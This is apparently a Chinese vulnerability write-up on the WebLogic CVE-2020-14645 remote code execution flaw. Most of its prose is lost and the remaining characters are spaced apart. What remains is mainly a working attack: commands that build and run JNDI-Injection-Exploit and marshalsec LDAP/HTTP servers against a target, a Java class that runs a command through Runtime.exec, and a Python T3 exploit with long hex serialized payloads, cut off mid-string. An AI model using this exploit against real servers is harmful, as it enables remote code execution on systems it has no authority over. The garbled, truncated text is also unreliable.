[15964] 2020-10-14_CVE-2020-14645Weblogic远程代码执行漏洞分析

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2020-10-14_CVE-2020-14645Weblogic远程代码执行漏洞分析 C V E - 2 0 2 0 - 1 4 6 4 5   W e b l o g i c   F r e e B u f   2 0 2 0 - 1 0 - 1 4 .   W e b l o g i c   C V E - 2 0 2 0 - 1 4 6 4 5 P S d e l a c r o i x 3 0 5 5 3 6 1 3 0 Z 9 9 7 3 6 2 5 6 9 稿 稿 W e b L o g i c O r a c l e a p p l i c a t i o n   s e r v e r J A V A E E W e b L o g i c W e b J a v a W e b l o g i c   C V E - 2 0 2 0 - 1 4 6 4 5 T 3 W e b l o g i c   1 2 . 2 . 1 . 4 . x J D K 6 u 2 1 1 7 u 2 0 1 8 u 1 9 1 W I N 7 ( 6 4 ) + J D K ( 1 . 8 . 0 _ 1 8 1 ) + W e b l o g i c   1 2 . 2 . 1 . 4 1 . W e b l o g i c   1 2 . 2 . 1 . 4 h t t p s : / / w w w . o r a c l e . c o m / m i d d l e w a r e / t e c h n o l o g i e s / w e b l o g i c - s e r v e r - i n s t a l l e r s - d o w n l o a d s . h t m l 使 j a v a   - j a r   f m w _ 1 2 . 2 . 1 . 4 . 0 _ w l s _ l i t e _ g e n e r i c . j a r
2 . w l s e r v e r c o m m o n b i n c o n f i g 7 0 0 1
3 . M i d d l e w a r e O r a c l e _ H o m e u s e r _ p r o j e c t s d o m a i n s b a s e _ d o m a i n s t a r t W e b L o g i c . c m d 访   h t t p : / / I P : 7 0 0 1 / c o n s o l e   W e b l o g i c T 3 使 N M A P T 3 ( ) 使 N M A P T 3 使 使 J N D I h t t p s : / / g i t h u b . c o m / w e l k 1 n / J N D I - I n j e c t i o n - E x p l o i t L D A P H T T P 使 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / w e l k 1 n / J N D I - I n j e c t i o n - E x p l o i t . g i t c d J N D I - I n j e c t i o n - E x p o l i t 使 m v n   c l e a n   p a c k a g e   - D s k i p T e s t s
t a r g e t c d t a r g e t - C   - A   L A D P 使 C V E - 2 0 2 0 - 1 4 6 4 5 h t t p s : / / g i t h u b . c o m / D S O - L a b / W e b l o g i c _ C V E - 2 0 2 0 - 1 4 6 4 5 使 1 9 2 . 1 6 8 . 1 3 4 . 1 3 4 : 1 3 8 9 / u p p f d q L D A P E X P h t t p : / / 1 9 2 . 1 6 8 . 1 3 4 . 1 3 5 : 7 0 0 1 W e b l o g i c L D A P 使 m a r s h a l s e c L D A P g i t   c l o n e   h t t p s : / / g i t h u b . c o m / m b e c h l e r / m a r s h a l s e c . g i t c d   m a r s h a l s e c 使 m v n   c l e a n   p a c k a g e   - D s k i p T e s t s 使 p y t h o n H T T P H T T P E X P j a v a   - j a r   J N D I - I n j e c t i o n - E x p l o i t - 1 . 0 - S N A P S H O T - a l l . j a r   - C   c a l c   - A   1 9 2 . 1 6 8 . 1 3 4 . 1 3 4 j a v a   - j a r   C V E - 2 0 2 0 - 1 4 6 4 5 . j a r   1 9 2 . 1 6 8 . 1 3 4 . 1 3 4 : 1 3 8 9 / u p p f d q   h t t p : / / 1 9 2 . 1 6 8 . 1 3 4 . 1 3 5 : 7 0 0 1 j a v a   - c p   m a r s h a l s e c - 0 . 0 . 3 - S N A P S H O T - a l l . j a r   m a r s h a l s e c . j n d i . L D A P R e f S e r v e r   " h t t p : / / 1 9 2 . 1 6 8 . 1 3 4 . 1 3 4 : 9 9 8 / # e x p "   9 9 p y t h o n   - m   S i m p l e H T T P S e r v e r   9 9 8
p y t h o n H t t p 访 h t t p : / / 1 9 2 . 1 6 8 . 1 3 4 . 1 3 4 : 9 9 8 / e x p 使 P O C i m p o r t   j a v a . l a n g . R u n t i m e ;         i m p o r t   j a v a . l a n g . P r o c e s s ;         p u b l i c   c l a s s   e x p   {                                 s t a t i c   {                                   t r y   {                                     R u n t i m e   r t   =   R u n t i m e . g e t R u n t i m e ( ) ;                                     S t r i n g [ ]   c o m m a n d s   =   { " c m d . e x e " ,   " / c " ,   " c a l c . e x e " } ;                                     P r o c e s s   p c   =   r t . e x e c ( c o m m a n d s ) ;                                     p c . w a i t F o r ( ) ;                                   }   c a t c h   ( E x c e p t i o n   e )   {                                       / /   d o   n o t h i n g                                       }                                     }                                       } # ! / u s r / b i n / e n v   p y t h o n 3 #   _ * _   c o d i n g : u t f - 8   _ * _ i m p o r t   b i n a s c i i i m p o r t   s o c k e t i m p o r t   s y s i m p o r t   t i m e i m p o r t   l o g g i n g #   C V E - 2 0 2 0 - 1 4 6 4 5 d e f   p a y l o a d ( l d a p ) :         p a y l o a d _ s t a r t   =   ' a c e d 0 0 0 5 7 3 7 2 0 0 1 7 6 a 6 1 7 6 6 1 2 e 7 5 7 4 6 9 6 c 2 e 5 0 7 2 6 9 6 f 7 2 6 9 7 4 7 9 5 1 7 5 6 5 7 5 6 5 9 4 d a 3 0 b 4 f b 3 f 8 2 b 1 0 3 0 0 0 2 4 9 0 0 0 4 7 3 6 9 7 a 6 5 4 c 0 0 0 a 6 3 6 f 6 d 7 0 6 1 7 2 6 1 7 4 6 f 7 2 7 4 0 0 1 6 4 c 6 a 6 1 7 6 6 1 2 f 7 5 7 4 6 9 6 c 2 f 4 3 6 f 6 d 7 0 6 1 7 2 6 1 7 4 6 f 7 2 3 b 7 8 7 0 0 0 0 0 0 0 0 2 7 3 7 2 0 0 3 0 6 3 6 f 6 d 2 e 7 4 6 1 6 e 6 7 6 f 7 3 6 f 6 c 2 e 7 5 7 4 6 9 6 c 2 e 6 3 6 f 6 d 7 0 6 1 7 2 6 1 7 4 6 f 7 2 2 e 4 5 7 8 7 4 7 2 6 1 6 3 7 4 6 f 7 2 4 3 6 f 6 d 7 0 6 1 7 2 6 1 7 4 6 f 7 2 f 9 b 3 b c 5 8 c c 5 2 c d 2 1 0 2 0 0 0 1 4 c 0 0 0 b 6 d 5 f 6 5 7 8 7 4 7 2 6 1 6 3 7 4 6 f 7 2 7 4 0 0 2 2 4 c 6 3 6 f 6 d 2 f 7 4 6 1 6 e 6 7 6 f 7 3 6 f 6 c 2 f 7 5 7 4 6 9 6 c 2 f 5 6 6 1 6 c 7 5 6 5 4 5 7 8 7 4 7 2 6 1 6 3 7 4 6 f 7 2 3 b 7 8 7 0 7 3 7 2 0 0 2 e 6 3 6 f 6 d 2 e 7 4 6 1 6 e 6 7 6 f 7 3 6 f 6 c 2 e 7 5 7 4 6 9 6 c 2 e 6 5 7 8 7 4 7 2 6 1 6 3 7 4 6 f 7 2 2 e 5 5 6 e 6 9 7 6 6 5 7 2 7 3 6 1 6 c 4 5 7 8 7 4 7 2 6 1 6 3 7 4 6 f 7 2 0 d c 4 7 7 b f f f 4 b f 1 8 c 0 2 0 0 0 2 5 b 0 0 0 9 6 d 5 f 6 1 6 f 5 0 6 1 7 2 6 1 6 d 7 4 0 0 1 3 5 b 4 c 6 a 6 1 7 6 6 1 2 f 6 c 6 1 6 e 6 7 2 f 4 f 6 2 6 a 6 5 6 3 7 4 3 b 4 c 0 0 0 7 6 d 5 f 7 3 4 e 6 1 6 d 6 5 7 4 0 0 1 2 4 c 6 a 6 1 7 6 6 1 2 f 6 c 6 1 6 e 6 7 2 f 5 3 7 4 7 2 6 9 6 e 6 7 3 b 7 8 7 2 0 0 2 d 6 3 6 f 6 d 2 e 7 4 6 1 6 e 6 7 6 f 7 3 6 f 6 c 2 e 7 5 7 4 6 9 6 c 2 e 6 5 7 8 7 4 7 2 6 1 6 3 7 4 6 f 7 2 2 e 4 1 6 2 7 3 7 4 7 2 6 1 6 3 7 4 4 5 7 8 7 4 7 2 6 1 6 3 7 4 6 f 7 2 9 b 1 b e 1 8 e d 7 0 1 0 0 e 5 0 2 0 0 0 1 4 9 0 0 0 9 6 d 5 f 6 e 5 4 6 1 7 2 6 7 6 5 7 4 7 8 7 0 0 0 0 0 0 0 0 1 7 0 7 4 0 0 1 5 6 7 6 5 7 4 4 4 6 1 7 4 6 1 6 2 6 1 7 3 6 5 4 d 6 5 7 4 6 1 4 4 6 1 7 4 6 1 2 8 2 9 7 7 0 4 0 0 0 0 0 0 0 3 7 3 7 2 0 0 1 d 6 3 6 f 6 d 2 e 7 3 7 5 6 e 2 e 7 2 6 f 7 7 7 3 6 5 7 4 2 e 4 a 6 4 6 2 6 3 5 2 6 f 7 7 5 3 6 5 7 4 4 9 6 d 7 0 6 c c e 2 6 d 8 1 f 4 9 7 3 c 2 0 5 0 2 0 0 0 7 4 c 0 0 0 4 6 3 6 f 6 e 6 e 7 4 0 0 1 5 4 c 6 a 6 1 7 6 6 1 2 f 7 3 7 1 6 c 2 f 4 3 6 f 6 e 6 e 6 5 6 3 7 4 6 9 6 f 6 e 3 b 4 c 0 0 0 d 6 9 4 d 6 1 7 4 6 3 6 8 4 3 6 f 6 c 7 5 6 d 6 e 7 3 7 4 0 0 1 2 4 c 6 a 6 1 7 6 6 1 2 f 7 5 7 4 6 9 6 c 2 f 5 6 6 5 6 3 7 4 6 f 7 2 3 b 4 c 0 0 0 2 7 0 7 3 7 4 0 0 1 c 4 c 6 a 6 1 7 6 6 1 2 f 7 3 7 1 6 c 2 f 5 0 7 2 6 5 7 0 6 1 7 2 6 5 6 4 5 3 7 4 6 1 7 4 6 5 6 d 6 5 6 e 7 4 3 b 4 c 0 0 0 5 7 2 6 5 7 3 4 d 4 4 7 4 0 0 1 c 4 c 6 a 6 1 7 6 6 1 2 f 7 3 7 1 6 c 2 f 5 2 6 5 7 3 7 5 6 c 7 4 5 3 6 5 7 4 4 d 6 5 7 4 6 1 4 4 6 1 7 4 6 1 3 b 4 c 0 0 0 6 7 2 6 f 7 7 7 3 4 d 4 4 7 4 0 0 2 5 4 c 6 a 6 1 7 6 6 1 7 8 2 f 7 3 7 1 6 c 2 f 7 2 6 f 7 7 7 3 6 5 7 4 2 f 5 2 6 f 7 7 5 3 6 5 7 4 4 d 6 5 7 4 6 1 4 4 6 1 7 4 6 1 4 9 6 d 7 0 6 c 3 b 4 c 0 0 0 2 7 2 7 3 7 4 0 0 1 4 4 c 6 a 6 1 7 6 6 1 2 f 7 3 7 1 6 c 2 f 5 2 6 5 7 3 7 5 6 c 7 4 5 3 6 5 7 4 3 b 4 c 0 0 0 f 7 3 7 4 7 2 4 d 6 1 7 4 6 3 6 8 4 3 6 f 6 c 7 5 6 d 6 e 7 3 7 1 0 0 7 e 0 0 0 e 7 8 7 2 0 0 1 b 6 a 6 1 7 6 6 1 7 8 2 e 7 3 7 1 6 c 2 e 7 2 6 f 7 7 7 3 6 5 7 4 2 e 4 2 6 1 7 3 6 5 5 2 6 f 7 7 5 3 6 5 7 4 4 3 d 1 1 d a 5 4 d c 2 b 1 e 0 0 2 0 0 1 5 4 9 0 0 0 b 6 3 6 f 6 e 6 3 7 5 7 2 7 2 6 5 6 e 6 3 7 9 5 a 0 0 1 0 6 5 7 3 6 3 6 1 7 0 6 5 5 0 7 2 6 f 6 3 6 5 7 3 7 3 6 9 6 e 6 7 4 9 0 0 0 8 6 6 6 5 7 4 6 3 6 8 4 4 6 9 7 2 4 9 0 0 0 9 6 6 6 5 7 4 6 3 6 8 5 3 6 9 7 a 6 5 4 9 0 0 0 9 6 9 7 3 6 f 6 c 6 1 7 4 6 9 6 f 6 e 4 9 0 0 0 c 6 d 6 1 7 8 4 6 6 9 6 5 6 c 6 4 5 3 6 9 7 a 6 5 4 9 0 0 0 7 6 d 6 1 7 8 5 2 6 f 7 7 7 3 4 9 0 0 0 c 7 1 7 5 6 5 7 2 7 9 5 4 6 9 6 d 6 5 6 f 7 5 7 4 5 a 0 0 0 8 7 2 6 5 6 1 6 4 4 f 6 e 6 c 7 9 4 9 0 0 0 a 7 2 6 f 7 7 5 3 6 5 7 4 5 4 7 9 7 0 6 5 5 a 0 0 0 b 7 3 6 8 6 f 7 7 4 4 6 5 6 c 6 5 7 4 6 5 6 4 4 c 0 0 0 3 5 5 5 2 4 c 7 1 0 0 7 e 0 0 0 8 4 c 0 0 0 b 6 1 7 3 6 3 6 9 6 9 5 3 7 4 7 2 6 5 6 1 6 d 7 4 0 0 1 5 4 c 6 a 6 1 7 6 6 1 2 f 6 9 6 f 2 f 4 9 6 e 7 0 7 5 7 4 5 3 7 4 7 2 6 5 6 1 6 d 3 b 4 c 0 0 0 c 6 2 6 9 6 e 6 1 7 2 7 9 5 3 7 4 7 2 6 5 6 1 6 d 7 1 0 0 7 e 0 0 1 4 4 c 0 0 0 a 6 3 6 8 6 1 7 2 5 3 7 4 7 2 6 5 6 1 6 d 7 4 0 0 1 0 4 c 6 a 6 1 7 6 6 1 2 f 6 9 6 f 2 f 5 2 6 5 6 1 6 4 6 5 7 2 3 b 4 c 0 0 0 7 6 3 6 f 6 d 6 d 6 1 6 e 6 4 7 1 0 0 7 e 0 0 0 8 4 c 0 0 0 a 6 4 6 1 7 4 6 1 5 3 6 f 7 5 7 2 6 3 6 5 7 1 0 0 7 e 0 0 0 8 4 c 0 0 0 9 6 c 6 9 7 3 7 4 6 5 6 e 6 5 7 2 7 3 7 1 0 0 7 e 0 0 0 e 4 c 0 0 0 3 6 d 6 1 7 0 7 4 0 0 0 f 4 c 6 a 6 1 7 6 6 1 2 f 7 5 7 4 6 9 6 c 2 f 4 d 6 1 7 0 3 b 4 c 0 0 0 6 7 0 6 1 7 2 6 1 6 d 7 3 7 4 0 0 1 5 4 c 6 a 6 1 7 6 6 1 2 f 7 5 7 4 6 9 6 c 2 f 4 8 6 1 7 3 6 8 7 4 6 1 6 2 6 c 6 5 3 b 4 c 0 0 0 d 7 5 6 e 6 9 6 3 6 f 6 4 6 5 5 3 7 4 7 2 6 5 6 1 6 d 7 1 0 0 7 e 0 0 1 4 7 8 7 0 0 0 0 0 0 3 f 0 0 1 0 0 0 0 0 3 e 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 3 e c 0 0 7 0 7 0 7 0 7 0 7 0 7 4 '         p a y l o a d _ l e n h e x   =   ' 0 0 ' + h e x ( l e n ( l d a p ) ) . s t r i p ( ' 0 x ' )         p a y l o a d _ l d a p h e x   =   b i n a s c i i . b 2 a _ h e x ( l d a p . e n c o d e ( ) )         p a y l o a d _ e n d   =   ' 7 3 7 2 0 0 1 0 6 a 6 1 7 6 6 1 2 e 7 5 7 4 6 9 6 c 2 e 5 6 6 5 6 3 7 4 6 f 7 2 d 9 9 7 7 d 5 b 8 0 3 b a f 0 1 0 3 0 0 0 3 4 9 0 0 1 1 6 3 6 1 7 0 6 1 6 3 6 9 7 4 7 9 4 9 6 e 6 3 7 2 6 5 6 d 6 5 6 e 7 4 4 9 0 0 0 c 6 5 6 c 6 5 6 d 6 5 6 e 7 4 4 3 6 f 7 5 6 e 7 4 5 b 0 0 0 b 6 5 6 c 6 5 6 d 6 5 6 e 7 4 4 4 6 1 7 4 6 1 7 1 0 0 7 e 0 0 0 7 7 8 7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 7 5 7 2 0 0 1 3 5 b 4 c 6 a 6 1 7 6 6 1 2 e 6 c 6 1 6 e 6 7 2 e 4 f 6 2 6 a 6 5 6 3 7 4 3 b 9 0 c e 5 8 9 f 1 0 7 3 2 9 6 c 0 2 0 0 0 0 7 8 7 0 0 0 0 0 0 0 0 a 7 0 7 0 7 0 7 0 7 0 7 0 7 0 7 0 7 0 7 0 7 8 7 0 7 3 7 2 0 0 1 3 6 a 6 1 7 6 6 1 2 e 7 5 7 4 6 9 6 c 2 e 4 8 6 1 7 3 6 8 7 4 6 1 6 2 6 c 6 5 1 3 b b 0 f 2 5 2 1 4 a e 4 b 8 0 3 0 0 0 2 4 6 0 0 0 a 6 c 6 f 6 1 6 4 4 6 6 1 6 3 7 4 6 f 7 2 4 9 0 0 0 9 7 4 6 8 7 2 6 5 7 3 6 8 6 f 6 c 6 4 7 8 7 0 3 f 4 0 0 0 0 0 0 0 0 0 0 0 0 8 7 7 0 8 0 0 0 0 0 0 0 b 0 0 0 0 0 0 0 0 7 8 7 0 7 0 7 3 7 1 0 0 7 e 0 0 1 a 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 a 7 5 7 1 0 0 7 e 0 0 1 c 0 0 0 0 0 0 0 a 7 3 7 2 0 0 1 1 6 a 6 1 7 6 6 1 2 e 6 c 6 1 6 e 6 7 2 e 4 9 6 e 7 4 6 5 6 7 6 5 7 2 1 2 e 2 a 0 a 4 f 7 8 1 8 7 3 8 0 2 0 0 0 1 4 9 0 0 0 5 7 6 6 1 6 c 7 5 6 5 7 8 7 2 0 0 1 0 6 a 6 1 7 6 6 1 2 e 6 c 6 1 6 e 6 7 2 e 4 e 7 5 6 d 6 2 6 5 7 2 8 6 a c 9 5 1 d 0 b 9 4 e 0 8 b 0 2 0 0 0 0 7 8 7 0 f f f f f f f f 7 1 0 0 7 e 0 0 2 4 7 1 0 0 7 e 0 0 2 4 7 1 0 0 7 e 0 0 2 4 7 1 0 0 7 e 0 0 2 4 7 1 0 0 7 e 0 0 2 4 7 1 0 0 7 e 0 0 2 4 7 1 0 0 7 e 0 0 2 4 7 1 0 0 7 e 0 0 2 4 7 1 0 0 7 e 0 0 2 4 7 8 7 0 7 0 7 0 7 0 7 3 7 1 0 0 7 e 0 0 1 a 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 a 7 5 7 1 0 0 7 e 0 0 1 c 0 0 0 0 0 0 0 a 7 0 7 0 7 0 7 0 7 0 7 0 7 0 7 0 7 0 7 0 7 8 7 1 0 0 7 e 0 0 1 8 7 8 '         p a y l o a d   =   p a y l o a d _ s t a r t   +   p a y l o a d _ l e n h e x   +   p a y l o a d _ l d a p h e x . d e c o d e ( )   +   p a y l o a d _ e n d         r e t u r n   p a y l o a d d e f   t 3 h a n d s h a k e ( s o c k , s e r v e r _ a d d r ) :         s o c k . c o n n e c t ( s e r v e r _ a d d r )         s o c k . s e n d ( b y t e s . f r o m h e x ( ' 7 4 3 3 2 0 3 1 3 2 2 e 3 2 2 e 3 1 0 a 4 1 5 3 3 a 3 2 3 5 3 5 0 a 4 8 4 c 3 a 3 1 3 9 0 a 4 d 5 3 3 a 3 1 3 0 3 0 3 0 3 0 3 0 3 0 3 0 0 a 0 a ' ) )         t i m e . s l e e p ( 1 )         s o c k . r e c v ( 1 0 2 4 ) d e f   b u i l d T 3 R e q u e s t O b j e c t ( s o c k , r p o r t ) :         d a t a 1   =   ' 0 0 0 0 0 5 c 3 0 1 6 5 0 1 f f f f f f f f f f f f f f f f 0 0 0 0 0 0 6 a 0 0 0 0 e a 6 0 0 0 0 0 0 0 1 9 0 0 9 3 7 b 4 8 4 a 5 6 f a 4 a 7 7 7 6 6 6 f 5 8 1 d a a 4 f 5 b 9 0 e 2 a e b f c 6 0 7 4 9 9 b 4 0 2 7 9 7 3 7 2 0 0 7 8 7 2 0 1 7 8 7 2 0 2 7 8 7 0 0 0 0 0 0 0 0 a 0 0 0 0 0 0 0 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 6 0 0 7 0 7 0 7 0 7 0 7 0 7 0 0 0 0 0 0 0 0 a 0 0 0 0 0 0 0 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 6 0 0 7 0 0 6 f e 0 1 0 0 0 0 a c e d 0 0 0 5 7 3 7 2 0 0 1 d 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 2 e 7 2 6 a 7 6 6 d 2 e 4 3 6 c 6 1 7 3 7 3 5 4 6 1 6 2 6 c 6 5 4 5 6 e 7 4 7 2 7 9 2 f 5 2 6 5 8 1 5 7 f 4 f 9 e d 0 c 0 0 0 0 7 8 7 0 7 2 0 0 2 4 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 2 e 6 3 6 f 6 d 6 d 6 f 6 e 2 e 6 9 6 e 7 4 6 5 7 2 6 e 6 1 6 c 2 e 5 0 6 1 6 3 6 b 6 1 6 7 6 5 4 9 6 e 6 6 6 f e 6 f 7 2 3 e 7 b 8 a e 1 e c 9 0 2 0 0 0 8 4 9 0 0 0 5 6 d 6 1 6 a 6 f 7 2 4 9 0 0 0 5 6 d 6 9 6 e 6 f 7 2 4 9 0 0 0 c 7 2 6 f 6 c 6 c 6 9 6 e 6 7 5 0 6 1 7 4 6 3 6 8 4 9 0 0 0 b 7 3 6 5 7 2 7 6 6 9 6 3 6 5 5 0 6 1 6 3 6 b 5 a 0 0 0 e 7 4 6 5 6 d 7 0 6 f 7 2 6 1 7 2 7 9 5 0 6 1 7 4 6 3 6 8 4 c 0 0 0 9 6 9 6 d 7 0 6 c 5 4 6 9 7 4 6 c 6 5 7 4 0 0 1 2 4 c 6 a 6 1 7 6 6 1 2 f 6 c 6 1 6 e 6 7 2 f 5 3 7 4 7 2 6 9 6 e 6 7 3 b 4 c 0 0 0 a 6 9 6 d 7 0 6 c 5 6 6 5 6 e 6 4 6 f 7 2 7 1 0 0 7 e 0 0 0 3 4 c 0 0 0 b 6 9 6 d 7 0 6 c 5 6 6 5 7 2 7 3 6 9 6 f 6 e 7 1 0 0 7 e 0 0 0 3 7 8 7 0 7 7 0 2 0 0 0 0 7 8 f e 0 1 0 0 0 0 a c e d 0 0 0 5 7 3 7 2 0 0 1 d 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 2 e 7 2 6 a 7 6 6 d 2 e 4 3 6 c 6 1 7 3 7 3 5 4 6 1 6 2 6 c 6 5 4 5 6 e 7 4 7 2 7 9 2 f 5 2 6 5 8 1 5 7 f 4 f 9 e d 0 c 0 0 0 0 7 8 7 0 7 2 0 0 2 4 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 2 e 6 3 6 f 6 d 6 d 6 f 6 e 2 e 6 9 6 e 7 4 6 5 7 2 6 e 6 1 6 c 2 e 5 6 6 5 7 2 7 3 6 9 6 f 6 e 4 9 6 e 6 6 6 f 9 7 2 2 4 5 5 1 6 4 5 2 4 6 3 e 0 2 0 0 0 3 5 b 0 0 0 8 7 0 6 1 6 3 6 b 6 1 6 7 6 5 7 3 7 4 0 0 2 7 5 b 4 c 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 2 f 6 3 6 f 6 d 6 d 6 f 6 e 2 f 6 9 6 e 7 4 6 5 7 2 6 e 6 1 6 c 2 f 5 0 6 1 6 3 6 b 6 1 6 7 6 5 4 9 6 e 6 6 6 f 3 b 4 c 0 0 0 e 7 2 6 5 6 c 6 5 6 1 7 3 6 5 5 6 6 5 7 2 7 3 6 9 6 f 6 e 7 4 0 0 1 2 4 c 6 a 6 1 7 6 6 1 2 f 6 c 6 1 6 e 6 7 2 f 5 3 7 4 7 2 6 9 6 e 6 7 3 b 5 b 0 0 1 2 7 6 6 5 7 2 7 3 6 9 6 f 6 e 4 9 6 e 6 6 6 f 4 1 7 3 4 2 7 9 7 4 6 5 7 3 7 4 0 0 0 2 5 b 4 2 7 8 7 2 0 0 2 4 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 2 e 6 3 6 f 6 d 6 d 6 f 6 e 2 e 6 9 6 e 7 4 6 5 7 2 6 e 6 1 6 c 2 e 5 0 6 1 6 3 6 b 6 1 6 7 6 5 4 9 6 e 6 6 6 f e 6 f 7 2 3 e 7 b 8 a e 1 e c 9 0 2 0 0 0 8 4 9 0 0 0 5 6 d 6 1 6 a 6 f 7 2 4 9 0 0 0 5 6 d 6 9 6 e 6 f 7 2 4 9 0 0 0 c 7 2 6 f 6 c 6 c 6 9 6 e 6 7 5 0 6 1 7 4 6 3 6 8 4 9 0 0 0 b 7 3 6 5 7 2 7 6 6 9 6 3 6 5 5 0 6 1 6 3 6 b 5 a 0 0 0 e 7 4 6 5 6 d 7 0 6 f 7 2 6 1 7 2 7 9 5 0 6 1 7 4 6 3 6 8 4 c 0 0 0 9 6 9 6 d 7 0 6 c 5 4 6 9 7 4 6 c 6 5 7 1 0 0 7 e 0 0 0 4 4 c 0 0 0 a 6 9 6 d 7 0 6 c 5 6 6 5 6 e 6 4 6 f 7 2 7 1 0 0 7 e 0 0 0 4 4 c 0 0 0 b 6 9 6 d 7 0 6 c 5 6 6 5 7 2 7 3 6 9 6 f 6 e 7 1 0 0 7 e 0 0 0 4 7 8 7 0 7 7 0 2 0 0 0 0 7 8 f e 0 1 0 0 0 0 a c e d 0 0 0 5 7 3 7 2 0 0 1 d 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 2 e 7 2 6 a 7 6 6 d 2 e 4 3 6 c 6 1 7 3 7 3 5 4 6 1 6 2 6 c 6 5 4 5 6 e 7 4 7 2 7 9 2 f 5 2 6 5 8 1 5 7 f 4 f 9 e d 0 c 0 0 0 0 7 8 7 0 7 2 0 0 2 1 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 2 e 6 3 6 f 6 d 6 d 6 f 6 e 2 e 6 9 6 e 7 4 6 5 7 2 6 e 6 1 6 c 2 e 5 0 6 5 6 5 7 2 4 9 6 e 6 6 6 f 5 8 5 4 7 4 f 3 9 b c 9 0 8 f 1 0 2 0 0 0 6 4 9 0 0 0 5 6 d 6 1 6 a 6 f 7 2 4 9 0 0 0 5 6 d 6 9 6 e 6 f 7 2 4 9 0 0 0 c 7 2 6 f 6 c 6 c 6 9 6 e 6 7 5 0 6 1 7 4 6 3 6 8 4 9 0 0 0 b 7 3 6 5 7 2 7 6 6 9 6 3 6 5 5 0 6 1 6 3 6 b 5 a 0 0 0 e 7 4 6 5 6 d 7 0 6 f 7 2 6 1 7 2 7 9 5 0 6 1 7 4 6 3 6 8 5 b 0 0 0 8 7 0 6 1 6 3 6 b 6 1 6 7 6 5 7 3 7 4 0 0 2 7 5 b 4 c 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 2 f 6 3 6 f 6 d 6 d 6 f 6 e 2 f 6 9 6 e 7 4 6 5 7 2 6 e 6 1 6 c 2 f 5 0 6 1 6 3 6 b 6 1 6 7 6 5 4 9 6 e 6 6 6 f 3 b 7 8 7 2 0 0 2 4 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 2 e 6 3 6 f 6 d 6 d 6 f 6 e 2 e 6 9 6 e 7 4 6 5 7 2 6 e 6 1 6 c 2 e 5 6 6 5 7 2 7 3 6 9 6 f 6 e 4 9 6 e 6 6 6 f 9 7 2 2 4 5 5 1 6 4 5 2 4 6 3 e 0 2 0 0 0 3 5 b 0 0 0 8 7 0 6 1 6 3 6 b 6 1 6 7 6 5 7 3 7 1 '         d a t a 2   =   ' 0 0 7 e 0 0 0 3 4 c 0 0 0 e 7 2 6 5 6 c 6 5 6 1 7 3 6 5 5 6 6 5 7 2 7 3 6 9 6 f 6 e 7 4 0 0 1 2 4 c 6 a 6 1 7 6 6 1 2 f 6 c 6 1 6 e 6 7 2 f 5 3 7 4 7 2 6 9 6 e 6 7 3 b 5 b 0 0 1 2 7 6 6 5 7 2 7 3 6 9 6 f 6 e 4 9 6 e 6 6 6 f 4 1 7 3 4 2 7 9 7 4 6 5 7 3 7 4 0 0 0 2 5 b 4 2 7 8 7 2 0 0 2 4 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 2 e 6 3 6 f 6 d 6 d 6 f 6 e 2 e 6 9 6 e 7 4 6 5 7 2 6 e 6 1 6 c 2 e 5 0 6 1 6 3 6 b 6 1 6 7 6 5 4 9 6 e 6 6 6 f e 6 f 7 2 3 e 7 b 8 a e 1 e c 9 0 2 0 0 0 8 4 9 0 0 0 5 6 d 6 1 6 a 6 f 7 2 4 9 0 0 0 5 6 d 6 9 6 e 6 f 7 2 4 9 0 0 0 c 7 2 6 f 6 c 6 c 6 9 6 e 6 7 5 0 6 1 7 4 6 3 6 8 4 9 0 0 0 b 7 3 6 5 7 2 7 6 6 9 6 3 6 5 5 0 6 1 6 3 6 b 5 a 0 0 0 e 7 4 6 5 6 d 7 0 6 f 7 2 6 1 7 2 7 9 5 0 6 1 7 4 6 3 6 8 4 c 0 0 0 9 6 9 6 d 7 0 6 c 5 4 6 9 7 4 6 c 6 5 7 1 0 0 7 e 0 0 0 5 4 c 0 0 0 a 6 9 6 d 7 0 6 c 5 6 6 5 6 e 6 4 6 f 7 2 7 1 0 0 7 e 0 0 0 5 4 c 0 0 0 b 6 9 6 d 7 0 6 c 5 6 6 5 7 2 7 3 6 9 6 f 6 e 7 1 0 0 7 e 0 0 0 5 7 8 7 0 7 7 0 2 0 0 0 0 7 8 f e 0 0 f f f e 0 1 0 0 0 0 a c e d 0 0 0 5 7 3 7 2 0 0 1 3 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 2 e 7 2 6 a 7 6 6 d 2 e 4 a 5 6 4 d 4 9 4 4 d c 4 9 c 2 3 e d e 1 2 1 e 2 a 0 c 0 0 0 0 7 8 7 0 7 7 5 0 2 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 d 3 1 3 9 3 2 2 e 3 1 3 6 3 8 2 e 3 1 2 e 3 2 3 2 3 7 0 0 1 2 5 7 4 9 4 e 2 d 4 1 4 7 4 4 4 d 5 6 5 1 5 5 4 2 3 1 5 4 3 6 2 e 6 5 6 8 8 3 3 4 8 c d 6 0 0 0 0 0 0 0 7 0 0 0 0 { 0 } f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f 7 8 f e 0 1 0 0 0 0 a c e d 0 0 0 5 7 3 7 2 0 0 1 3 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 2 e 7 2 6 a 7 6 6 d 2 e 4 a 5 6 4 d 4 9 4 4 d c 4 9 c 2 3 e d e 1 2 1 e 2 a 0 c 0 0 0 0 7 